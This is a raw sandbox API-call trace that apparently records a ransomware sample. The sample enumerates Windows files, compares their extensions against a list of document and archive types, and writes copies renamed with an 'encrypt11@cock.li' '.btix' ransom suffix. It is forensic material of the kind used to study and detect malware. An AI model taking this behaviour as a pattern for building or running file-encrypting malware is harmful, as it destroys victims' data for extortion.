(in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0161.936] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0285780.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0285780.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0161.937] GetLastError () returned 0x0 [0161.937] ReadFile (in: hFile=0x3a0, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x795c, lpOverlapped=0x0) returned 1 [0162.244] WriteFile (in: hFile=0x394, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x7960, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0x7960, lpOverlapped=0x0) returned 1 [0162.245] ReadFile (in: hFile=0x3a0, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0162.245] WriteFile (in: hFile=0x394, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0xec, lpOverlapped=0x0) returned 1 [0162.245] SetEndOfFile (hFile=0x394) Thread: id = 98 os_tid = 0xfd0 [0146.446] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x10000) returned 0x3b30728 [0146.446] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x10000) returned 0x3b40730 [0146.447] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x10) returned 0x6bf0d0 [0146.447] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x6) returned 0x6fa548 [0146.447] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x10) returned 0x6bf190 [0146.447] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x100000) returned 0x3d21020 [0146.449] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x10) returned 0x6bf0e8 [0146.449] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6bf0e8, Size=0x20) returned 0x69db28 [0146.449] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x10) returned 0x6bf0e8 [0146.449] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6bf0e8, Size=0x20) returned 0x69dba0 [0146.449] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75130000 [0146.449] GetProcAddress (hModule=0x75130000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75146b30 [0146.449] Wow64DisableWow64FsRedirection (in: OldValue=0x315ff50 | out: OldValue=0x315ff50*=0x0) returned 1 [0146.449] lstrlenW (lpString="kernel32.dll") returned 12 [0146.449] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x69db28 | out: hHeap=0x660000) returned 1 [0146.449] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0146.449] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x69dba0 | out: hHeap=0x660000) returned 1 [0146.449] Sleep (dwMilliseconds=0x64) [0146.693] lstrcmpiW (lpString1=".ini", lpString2=".btix") returned 1 [0146.693] lstrlenW (lpString="desktop.ini") returned 11 [0146.693] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0146.693] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x315ff14 | out: lpFileSize=0x315ff14*=129) returned 1 [0146.694] CloseHandle (hObject=0x300) returned 1 [0146.694] GetFileAttributesW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini")) returned 0x26 [0146.694] GetFileAttributesW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini.id-b4197730.[encrypt11@cock.li].btix")) returned 0x26 [0146.694] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0146.694] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0146.694] lstrlenW (lpString=".doc") returned 4 [0146.694] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0146.694] lstrlenW (lpString=".docx") returned 5 [0146.694] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0146.694] lstrlenW (lpString=".pdf") returned 4 [0146.694] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0146.694] lstrlenW (lpString=".xls") returned 4 [0146.694] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0146.694] lstrlenW (lpString=".xlsx") returned 5 [0146.694] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0146.694] lstrlenW (lpString=".ppt") returned 4 [0146.694] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0146.694] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0146.694] lstrlenW (lpString=".zip") returned 4 [0146.694] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0146.694] lstrlenW (lpString=".rar") returned 4 [0146.694] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0146.694] lstrlenW (lpString=".bz2") returned 4 [0146.694] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0146.694] lstrlenW (lpString=".7z") returned 3 [0146.694] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0146.694] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0146.694] lstrlenW (lpString=".dbf") returned 4 [0146.694] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0146.695] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0146.695] lstrlenW (lpString=".1cd") returned 4 [0146.695] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0146.695] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0146.695] lstrlenW (lpString=".jpg") returned 4 [0146.695] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0146.695] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0146.695] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0146.695] lstrlenW (lpString=".doc") returned 4 [0146.695] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0146.695] lstrlenW (lpString=".docx") returned 5 [0146.695] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0146.695] lstrlenW (lpString=".pdf") returned 4 [0146.695] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0146.695] lstrlenW (lpString=".xls") returned 4 [0146.695] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0146.695] lstrlenW (lpString=".xlsx") returned 5 [0146.695] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0146.695] lstrlenW (lpString=".ppt") returned 4 [0146.695] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0146.695] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0146.695] lstrlenW (lpString=".zip") returned 4 [0146.695] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0146.695] lstrlenW (lpString=".rar") returned 4 [0146.695] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0146.695] lstrlenW (lpString=".bz2") returned 4 [0146.695] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0146.695] lstrlenW (lpString=".7z") returned 3 [0146.695] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0146.695] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0146.695] lstrlenW (lpString=".dbf") returned 4 [0146.695] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0146.695] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0146.695] lstrlenW (lpString=".1cd") returned 4 [0146.695] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0146.695] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0146.696] lstrlenW (lpString=".jpg") returned 4 [0146.696] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0146.696] Sleep (dwMilliseconds=0x64) [0146.927] lstrcmpiW (lpString1=".avi", lpString2=".btix") returned -1 [0146.927] lstrlenW (lpString="boxed-correct.avi") returned 17 [0146.928] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0147.127] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x315ff14 | out: lpFileSize=0x315ff14*=111320) returned 1 [0147.127] CloseHandle (hObject=0x338) returned 1 [0147.127] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi")) returned 0x20 [0147.127] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0147.127] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0147.127] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0147.127] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0147.127] lstrlenW (lpString=".doc") returned 4 [0147.127] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0147.127] lstrlenW (lpString=".docx") returned 5 [0147.127] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0147.127] lstrlenW (lpString=".pdf") returned 4 [0147.127] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0147.127] lstrlenW (lpString=".xls") returned 4 [0147.127] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0147.127] lstrlenW (lpString=".xlsx") returned 5 [0147.127] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0147.127] lstrlenW (lpString=".ppt") returned 4 [0147.127] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0147.127] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0147.127] lstrlenW (lpString=".zip") returned 4 [0147.127] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0147.127] lstrlenW (lpString=".rar") returned 4 [0147.127] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0147.127] lstrlenW (lpString=".bz2") returned 4 [0147.128] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0147.128] lstrlenW (lpString=".7z") returned 3 [0147.128] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0147.128] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0147.128] lstrlenW (lpString=".dbf") returned 4 [0147.128] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0147.128] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0147.128] lstrlenW (lpString=".1cd") returned 4 [0147.128] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0147.128] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0147.128] lstrlenW (lpString=".jpg") returned 4 [0147.128] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0147.128] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0147.128] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0147.128] lstrlenW (lpString=".doc") returned 4 [0147.128] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0147.128] lstrlenW (lpString=".docx") returned 5 [0147.128] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0147.128] lstrlenW (lpString=".pdf") returned 4 [0147.128] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0147.128] lstrlenW (lpString=".xls") returned 4 [0147.128] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0147.128] lstrlenW (lpString=".xlsx") returned 5 [0147.128] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0147.128] lstrlenW (lpString=".ppt") returned 4 [0147.128] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0147.128] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0147.128] lstrlenW (lpString=".zip") returned 4 [0147.128] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0147.128] lstrlenW (lpString=".rar") returned 4 [0147.128] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0147.128] lstrlenW (lpString=".bz2") returned 4 [0147.128] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0147.128] lstrlenW (lpString=".7z") returned 3 [0147.128] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0147.129] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0147.129] lstrlenW (lpString=".dbf") returned 4 [0147.129] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0147.129] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0147.129] lstrlenW (lpString=".1cd") returned 4 [0147.129] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0147.129] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0147.129] lstrlenW (lpString=".jpg") returned 4 [0147.129] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0147.129] lstrcmpiW (lpString1=".avi", lpString2=".btix") returned -1 [0147.129] lstrlenW (lpString="boxed-delete.avi") returned 16 [0147.129] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0147.129] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x315ff14 | out: lpFileSize=0x315ff14*=48936) returned 1 [0147.129] CloseHandle (hObject=0x338) returned 1 [0147.129] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi")) returned 0x20 [0147.129] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0147.129] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0147.130] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0147.130] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0147.130] lstrlenW (lpString=".doc") returned 4 [0147.130] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0147.130] lstrlenW (lpString=".docx") returned 5 [0147.130] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1 [0147.130] lstrlenW (lpString=".pdf") returned 4 [0147.130] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0147.130] lstrlenW (lpString=".xls") returned 4 [0147.130] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0147.130] lstrlenW (lpString=".xlsx") returned 5 [0147.130] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1 [0147.130] lstrlenW (lpString=".ppt") returned 4 [0147.130] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0147.130] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0147.130] lstrlenW (lpString=".zip") returned 4 [0147.130] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0147.130] lstrlenW (lpString=".rar") returned 4 [0147.130] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0147.130] lstrlenW (lpString=".bz2") returned 4 [0147.130] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0147.130] lstrlenW (lpString=".7z") returned 3 [0147.130] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0147.130] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0147.130] lstrlenW (lpString=".dbf") returned 4 [0147.130] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0147.130] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0147.131] lstrlenW (lpString=".1cd") returned 4 [0147.131] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0147.131] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0147.131] lstrlenW (lpString=".jpg") returned 4 [0147.131] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0147.131] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0147.131] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0147.131] lstrlenW (lpString=".doc") returned 4 [0147.131] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0147.131] lstrlenW (lpString=".docx") returned 5 [0147.131] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1 [0147.131] lstrlenW (lpString=".pdf") returned 4 [0147.131] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0147.131] lstrlenW (lpString=".xls") returned 4 [0147.131] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0147.131] lstrlenW (lpString=".xlsx") returned 5 [0147.131] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1 [0147.131] lstrlenW (lpString=".ppt") returned 4 [0147.131] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0147.131] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0147.131] lstrlenW (lpString=".zip") returned 4 [0147.131] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0147.131] lstrlenW (lpString=".rar") returned 4 [0147.131] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0147.131] lstrlenW (lpString=".bz2") returned 4 [0147.131] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0147.131] lstrlenW (lpString=".7z") returned 3 [0147.131] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0147.131] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0147.131] lstrlenW (lpString=".dbf") returned 4 [0147.131] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0147.131] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0147.131] lstrlenW (lpString=".1cd") returned 4 [0147.131] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0147.132] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0147.132] lstrlenW (lpString=".jpg") returned 4 [0147.132] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0147.132] lstrcmpiW (lpString1=".avi", lpString2=".btix") returned -1 [0147.132] lstrlenW (lpString="boxed-join.avi") returned 14 [0147.132] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0147.132] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x315ff14 | out: lpFileSize=0x315ff14*=46622) returned 1 [0147.132] CloseHandle (hObject=0x338) returned 1 [0147.132] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi")) returned 0x20 [0147.132] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0147.132] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0147.132] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0147.132] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0147.132] lstrlenW (lpString=".doc") returned 4 [0147.132] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0147.132] lstrlenW (lpString=".docx") returned 5 [0147.132] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0147.133] lstrlenW (lpString=".pdf") returned 4 [0147.133] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0147.133] lstrlenW (lpString=".xls") returned 4 [0147.133] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0147.133] lstrlenW (lpString=".xlsx") returned 5 [0147.133] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0147.133] lstrlenW (lpString=".ppt") returned 4 [0147.133] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0147.133] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0147.133] lstrlenW (lpString=".zip") returned 4 [0147.133] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0147.133] lstrlenW (lpString=".rar") returned 4 [0147.133] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0147.133] lstrlenW (lpString=".bz2") returned 4 [0147.133] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0147.133] lstrlenW (lpString=".7z") returned 3 [0147.133] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0147.133] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0147.133] lstrlenW (lpString=".dbf") returned 4 [0147.133] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0147.133] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0147.133] lstrlenW (lpString=".1cd") returned 4 [0147.133] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0147.133] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0147.133] lstrlenW (lpString=".jpg") returned 4 [0147.133] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0147.133] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0147.133] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0147.133] lstrlenW (lpString=".doc") returned 4 [0147.133] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0147.133] lstrlenW (lpString=".docx") returned 5 [0147.133] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0147.133] lstrlenW (lpString=".pdf") returned 4 [0147.133] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0147.133] lstrlenW (lpString=".xls") returned 4 [0147.134] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0147.134] lstrlenW (lpString=".xlsx") returned 5 [0147.134] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0147.134] lstrlenW (lpString=".ppt") returned 4 [0147.134] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0147.134] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0147.134] lstrlenW (lpString=".zip") returned 4 [0147.134] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0147.134] lstrlenW (lpString=".rar") returned 4 [0147.134] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0147.134] lstrlenW (lpString=".bz2") returned 4 [0147.134] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0147.134] lstrlenW (lpString=".7z") returned 3 [0147.134] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0147.134] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0147.134] lstrlenW (lpString=".dbf") returned 4 [0147.134] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0147.134] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0147.134] lstrlenW (lpString=".1cd") returned 4 [0147.134] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 